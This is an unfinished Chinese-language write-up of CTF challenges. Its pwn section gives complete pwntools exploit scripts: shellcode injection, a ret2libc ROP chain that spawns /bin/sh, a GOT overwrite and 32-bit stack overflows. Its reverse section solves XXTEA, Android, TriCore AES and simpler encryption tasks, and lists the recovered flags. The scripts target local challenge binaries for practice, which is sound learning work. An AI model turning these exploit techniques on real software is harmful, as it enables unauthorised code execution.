关于

非官方WP,只是本人闲来无事学一学。

ez_shellcode

先checksec
2024-10-04T09:32:40.png

用IDA打开,可以看到是一个标准的shellcode题,给的gift是为了我们跳转到shellcode运行
2024-10-04T09:32:59.png

所以思路就是,第一个随便输入一个大数,第二个我们需要植入shellcode,并且使用Gadget进行中间跳转。
显然shellcode必须在合理范围内,然后Gadget在栈溢出后进行跳转。

#! /usr/bin/env python3
from pwn import *
context(log_level='debug',
        arch='amd64',
        os='linux',
        terminal = ['tmux', 'sp', '-h', '-p', '70'])
file_name = './pwn'
# io = process(file_name)
io = remote('127.0.0.1', 54533)

# gdb.attach(io)
sh = asm(shellcraft.sh())

io.recvuntil('age:\n')
io.sendline(b'200')

io.recvuntil('you :\n')
gift = io.recvuntil('\n')
gift = eval(gift.decode())

# 通过nop对齐把shellcode弄到栈内,并且gift进行栈溢出,0x101a是gadget ret
ow = sh.ljust(0x60 + 0x8, b'\x90') + p64(gift) + p64(0x101a)
io.sendline(ow)
io.interactive()

这是什么?libc!

ropper --file libc.so.6 --search "pop rdi; ret;"
ropper --file libc.so.6 --search "ret;"

#! /usr/bin/env python3
from pwn import *
context(log_level='debug',
        arch='amd64',
        os='linux',
        terminal = ['tmux', 'sp', '-h', '-p', '70'])
file_name = './prelibc'

elf = ELF(file_name)
libc = ELF('./libc.so.6')
# io = process(file_name)
io = remote('127.0.0.1', 9158)

# gdb.attach(io)

io.recvuntil(b'libc: ')
puts_addr = io.recvuntil(b'.')[:-1].decode()
puts_addr = eval(puts_addr)
libc_addr = puts_addr - libc.sym['puts']
log.success('libc_addr = ' + hex(libc_addr))
system_addr = libc_addr + libc.sym['system']
bin_sh_str  = libc_addr + next(libc.search(b'/bin/sh\x00'))
gadget_rdi_ret = libc_addr + 0x000000000002a3e5
gadget_ret = libc_addr + 0x00000000000f8c92

io.sendlineafter(b'\n> ', cyclic(1 + 0x8) + p64(gadget_rdi_ret) + p64(bin_sh_str) + p64(gadget_ret) +  p64(system_addr))


io.interactive()

这是什么?shellcode!

shellcraft.sh()

这是什么?random!

#! /usr/bin/env python3
from pwn import *
context(log_level='debug',
        arch='amd64',
        os='linux',
        terminal = ['tmux', 'sp', '-h', '-p', '70'])
file_name = './prerandom'

elf = ELF(file_name)
libc = ELF('./libc.so.6')
# io = process(file_name)
io = remote('127.0.0.1', 30991)
rands = [94628, 29212, 40340, 61479, 52327, 69717, 13474, 57303, 18980, 86711, 33971, 90017, 48999, 57470, 76676, 92638, 37434, 77014, 78089, 95060]
for i in rands:
    io.recvuntil(b'> ')
    io.sendline(str(i).encode())
io.interactive()

用C语言写一下,来预测rand

#include <stdlib.h>
#include <stdio.h>

int main()
{
  srandom(0x115);
  int tests = 20;
  while(tests--)
          printf("%d, ", random() % 90000 + 10000);
  return 0;
}

这是什么?GOT!

#! /usr/bin/env python3
from pwn import *
context(log_level='debug',
        arch='amd64',
        os='linux',
        terminal = ['tmux', 'sp', '-h', '-p', '70'])
file_name = './pregot'

elf = ELF(file_name)
libc = ELF('./libc.so.6')
# io = process(file_name)
io = remote('127.0.0.1', 44373)

# gdb.attach(io)
unreach = 0x401196

io.send(cyclic(8*2) + p64(0x401056) + cyclic(8*4) + p64(unreach))

io.interactive()

这是什么?32-bit!

#! /usr/bin/env python3
from pwn import *
context(log_level='debug',
        arch='i386',
        os='linux',
        terminal = ['tmux', 'sp', '-h', '-p', '70'])
file_name = './backdoor'

elf = ELF(file_name)
libc = ELF('./libc.so.6')
# io = process(file_name)
io = remote('127.0.0.1', 25186)

# gdb.attach(io)
io.send(b'\n')
io.recvuntil(b'word: ')
# exceve("/bin/sh", NULL, NULL);
io.sendline(cyclic(0x28+0x4) + p32(0x8049212) + p32(0x0804A011) + p32(0)*2)


io.interactive()

ez_cython

from regadgets import *
ans = [4108944556, 3404732701, 1466956825, 788072761, 1482427973, 782926647, 
       1635740553, 4115935911, 2820454423, 3206473923, 1700989382, 2460803532,
       2399057278, 968884411, 1298467094, 1786305447, 3953508515, 2466099443,
       4105559714, 779131097, 288224004, 3322844775, 4122289132, 2089726849, 
       656452727, 3096682206, 2217255962, 680183044, 3394288893, 697481839, 
       1109578150, 2272036063]

def xxtea_sctf2024_shift(z, y, sum, k, p, debug = False):
    e = (sum.value >> 3) & 3
    PE = (p & 2) ^ e
    Ly = y.value << 3
    Ry = y.value >> 4
    Lz = z.value << 2
    Rz = z.value >> 3 

    LzRy = Rz ^ Ly
    LyRz = Ry ^ Lz
    SY = sum.value ^ y.value
    K = k[PE].value
    KZ = K ^ z.value
    result = (LzRy + LyRz) ^ (KZ + SY)
    return result
        
key = [0x53, 0x79, 0x43, 0x31] # Syc1

dec = xxtea_decrypt(ans, key, delta=0x9e3779b9, round_base=4, round_addi=60, shift_func=xxtea_sctf2024_shift)
print(bytes(dec))
# b'SCTF{w0w_y0U_wE1_kNOw_of_cYtH0N}'

BBox

Android
超绝一键apk混淆捏

const char *__fastcall Java_com_example_bbandroid_MainActivity_checkFlag(_JNIEnv *a1, __int64 a2, __int64 a3)
{
  time_t v5; // w22
  const char *result; // x0
  const char *v7; // x21
  unsigned int v8; // w23
  signed int v9; // w22
  __int64 v10; // x19
  __int64 v11; // x20
  char *v12; // x22
  char v13; // w0
  int v14; // w9
  signed int v15; // w8
  unsigned __int64 v16; // x10
  unsigned __int64 v17; // x11
  int v18; // w12
  int v19; // w13
  char flag[256]; // [xsp+8h] [xbp-108h] BYREF
  __int64 v21; // [xsp+108h] [xbp-8h]

  v21 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
  v5 = time(0LL);
  result = (const char *)((__int64 (__fastcall *)(_JNIEnv *, __int64, _QWORD))a1->functions->GetStringUTFChars)(
                           a1,
                           a3,
                           0LL);
  if ( result )
  {
    v7 = result;
    v8 = v5 / 1000000 / 100;
    strncpy(flag, result, 0xFFu);
    flag[255] = 0;
    v9 = __strlen_chk(flag, 0x100u);
    ((void (__fastcall *)(_JNIEnv *, __int64, const char *))a1->functions->ReleaseStringUTFChars)(a1, a3, v7);
    srand(v8);
    if ( v9 >= 4 )
    {
      v10 = 0LL;
      v11 = (unsigned int)v9 >> 2;
      do
      {
        v12 = &flag[4 * v10];
        *v12 ^= rand();
        v12[1] ^= rand();
        v12[2] ^= rand();
        v13 = rand();
        v14 = 32;
        v12[3] ^= v13;
        v15 = *(_DWORD *)v12;
        do
        {
          if ( v15 >= 0 )
            v15 *= 2;
          else
            v15 = (2 * v15) ^ 0x85B6874F;
          --v14;
        }
        while ( v14 );
        *(_DWORD *)&flag[4 * v10++] = v15;
      }
      while ( v10 != v11 );
    }
    if ( flag[0] == '3' )
    {
      v16 = 0LL;
      do
      {
        v17 = v16;
        if ( v16 == 0x27 )
          break;
        v18 = (unsigned __int8)flag[v16 + 1];
        v19 = dword_B14[++v16];
      }
      while ( v18 == v19 );
      return (const char *)(v17 > 0x26);
    }
    else
    {
      return 0LL;
    }
  }
  return result;
}

Exp

from regadgets import *
from z3 import *
from copy import deepcopy
enc =  [0x33, 0xC0, 0xC8, 0xA3, 0xF3, 0xBF, 0x1D, 0x1A, 0x3B, 0x41, 
  0xB7, 0xC6, 0xF1, 0x5E, 0x86, 0x52, 0x52, 0xCF, 0x6B, 0x1E, 
  0xC5, 0xF9, 0xCB, 0xBF, 0xED, 0x7B, 0x62, 0xF1, 0xF7, 0x43, 
  0x48, 0x54, 0xFB, 0x85, 0x4C, 0xD9, 0x35, 0x30, 0xF2, 0x6E]
print(bytes(enc))
dw = byte2dword(enc)

print(dw)
s = Solver()
x = [BitVec(f"x{i}", 32) for i in range(len(dw))]
y = deepcopy(x)
for i in range(len(dw)):
    for j in range(32):
        x[i] = If(LShR(x[i], 31) == 1, 2*x[i] ^ 0x85b6874f, 2*x[i])
    s.add(x[i] == dw[i])
print(s.check())
m = s.model()
r = []
for i in y:
    r.append(m[i].as_long())
print(r)
randv = [0x49308bb9,0x3cb3ad,0xfb4e87f,0x75655103,0x6d505b9f,0x1d20580f,
         0xdcf4af1,0x3e381967,0x54bcf579,0x73c09db7,0x501b2039,0x1b8950dd,
         0x23e73393,0x2b480a88,0x6818cdae,0x61d009ea,0x44c0c5b0,0x385aff3d,
         0x5cfb2a7a,0x587f9c07,0x158172f2,0x4d334c89,0x302b76e5,0x5e17f434,
         0x692de923,0x806d155,0x3d2c61d8,0x1d09ef4e,0x7c3d83b7,0x1d7621da,
         0x2dc0a3ec,0x456e0f71,0x1db2d588,0x3d758c6c,0x3ad36074,0xb033127,0x5a95e47b,0x48a2ab65,0x493b4a8e,0x2f52d9f5 ]
randv = [i & 0xff for i in randv]

v1 = bxor(dword2byte(r)[:len(enc)], bytes(randv)[:len(enc)])
v2 = bxor_cycle(v1, b'\x1e').decode()
print(decode_b64(v2, "nopqrstDEFGHIJKLhijklUVQRST/WXYZabABCcdefgmuv6789+wxyz012345MNOP"))
# b'Y0u_@re_r1ght_r3ver53_is_easy!'

其中 randv 是通过hook得到的rand()的结果。中间是一个不安全的CRC。

easyMCU

我自认为这是一个逆向题目,所以把它放到了Reverse下。
首先,使用010Editor,打开mcu.s19,发现它直接自动给我转hex了,我们Ctrl+S保存到文件即可。
隔壁队伍使用的是bincopy convert mcu.s19 -o binary out.bin进行的转换,也是一种方法。

通过图片中的TriCore,我们可以知道固件是Tri
经过翻找,我们找到关键代码


/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined4 FUN_80000690(void)

{
  byte bVar1;
  bool bVar2;
  uint uVar3;
  undefined4 uVar4;
  int i;
  
  bVar2 = FUN_8000125a(0x6000009c,(undefined *)0x60000004,(short *)0x60000000,_DAT_80003990,
                       iRam80003994);
  if (bVar2) {
    AES_ENCRYPT(0x60000004,-0x7fffc65d,0x6000007c,0x20);
    for (i = 0; i < 0x20; i += 1) {
      uVar3 = rol((uint)*(byte *)(i + 0x6000007c),3);
      *(char *)(i + 0x6000007c) = (char)uVar3;
      bVar1 = bRam6000007c;
      if (i < 0x1f) {
        bVar1 = *(byte *)(i + 0x6000007d);
      }
      *(byte *)(i + 0x6000007c) = bVar1 ^ *(byte *)(i + 0x6000007c);
      *(byte *)(i + 0x6000007c) = *(byte *)(i + 0x6000007c) ^ 0xff;
    }
    FUN_80001278((int *)0x6000009c,(undefined *)0x6000007c,(short *)0x60000000,_DAT_80003990,
                 iRam80003994);
    uVar4 = 0;
  }
  else {
    uVar4 = 0xffffffff;
  }
  return uVar4;
}


void AES_ENCRYPT(int param_1,int param_2,int param_3,uint param_4)

{
  uint uVar1;
  undefined8 auStack_c0 [2];
  undefined key [176];
  
  FUN_800002b0(param_2,(int)key);
  for (uVar1 = 0; uVar1 < param_4; uVar1 += 0x10) {
    FUN_80003782(auStack_c0,(undefined8 *)(param_1 + uVar1),0x10);
    aes((int)auStack_c0,(int)key);
    FUN_80003782((undefined8 *)(param_3 + uVar1),auStack_c0,0x10);
  }
  return;
}


void AES_ENCRYPT(int param_1,int param_2,int param_3,uint param_4)

{
  uint uVar1;
  undefined8 auStack_c0 [2];
  undefined key [176];
  
  FUN_800002b0(param_2,(int)key);
  for (uVar1 = 0; uVar1 < param_4; uVar1 += 0x10) {
    FUN_80003782(auStack_c0,(undefined8 *)(param_1 + uVar1),0x10);
    aes((int)auStack_c0,(int)key);
    FUN_80003782((undefined8 *)(param_3 + uVar1),auStack_c0,0x10);
  }
  return;
}

写出EXP。

from regadgets import *
enc = bytes.fromhex('63 D4 DD 72 B0 8C AE 31 8C 33 03 22 03 1C E4 D3 C3 E3 54 B2 1D EB EB 9D 45 B1 BE 86 CD E9 93 D8')
print(len(enc))
key = [ 0x2e, 0x35, 0x7d, 0x6a, 0xed, 0x44, 0xf3, 0x4d, 0xad, 0xb9, 0x11, 0x34, 0x13, 0xea, 0x32, 0x4e ]
enc = list(enc)
for i in range(len(enc)):
    enc[31-i] ^= 0xff
    enc[31-i] ^= enc[(32-i) % 32]
    enc[31-i] = ror8(enc[31-i], 3)

aes = AES(key)
dec = aes.decrypt_ecb_block(enc[:16]) + aes.decrypt_ecb_block(enc[16:])
print(dec) # b'SCTF{Wlc_t0_the_wd_oF_IOT_s3cur}'

Reverse

Simple_encryption

enc = list(bytes.fromhex("47953448A41C358864168807146A3912A20A375C075A5660127625128E28"))
for i in range(len(enc)):
    if i % 3 == 2:
        enc[i] ^= 0x55
    if i % 3 == 1:
        enc[i] -= 41
    if i % 3 == 0:
        enc[i] += 31

print(bytes(enc))

ez_debug

调试后直接把enc抄出来,用CyberChef xor 0x17然后再xor_cycle ATRI
flag{y0u_ar3_g0od_@_Debu9}

ezAndroidStudy

按照题目里面的提示慢慢找就行,很有趣的一个题。

drink_TEA

标准TEA,找到key和delta即可。

Ptrace

father程序的这里修改了son程序进行ROR8的参数(4->3),我是直接全部都爆破了一遍,就看到3解出来了。
2024-10-06T18:07:50.png
顺便:
2024-10-07T09:22:07.png

ezencrypt

android题,native里面有个rc4和xor,然后可以解密出来base64(aes加密后的),然后在java里面找decrypt,开一个idea,然后运行一下就秒了。

PangBai 泰拉记(1)

密文异或了两部分,有个反调试,不看反调试检测出来后的逻辑(看下面的else for)

Dirty_flowers

直接看汇编,循环异或dirty_flower,然后随便翻一下找到密文对比
2024-10-06T18:11:42.png
抄出来解密就行

后面没写了,找个时间补上